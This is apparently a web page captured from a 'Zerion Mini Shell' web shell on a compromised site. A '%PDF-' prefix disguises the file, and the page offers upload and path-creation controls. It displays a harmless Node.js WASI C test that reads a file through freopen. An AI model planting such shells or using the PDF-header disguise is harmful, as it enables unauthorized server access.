%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/test/wasi/c/
Upload File :
Create Path :
Current File : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/test/wasi/c/freopen.c

#include <assert.h>
#include <stdio.h>

int main() {
  FILE* file_orig = fopen("/sandbox/input.txt", "r");
  assert(file_orig != NULL);
  FILE* file_new = freopen("/sandbox/input2.txt", "r", file_orig);
  assert(file_new != NULL);

  int c = fgetc(file_new);
  while (c != EOF) {
    int wrote = fputc((char)c, stdout);
    assert(wrote != EOF);
    c = fgetc(file_new);
  }
}

Zerion Mini Shell 1.0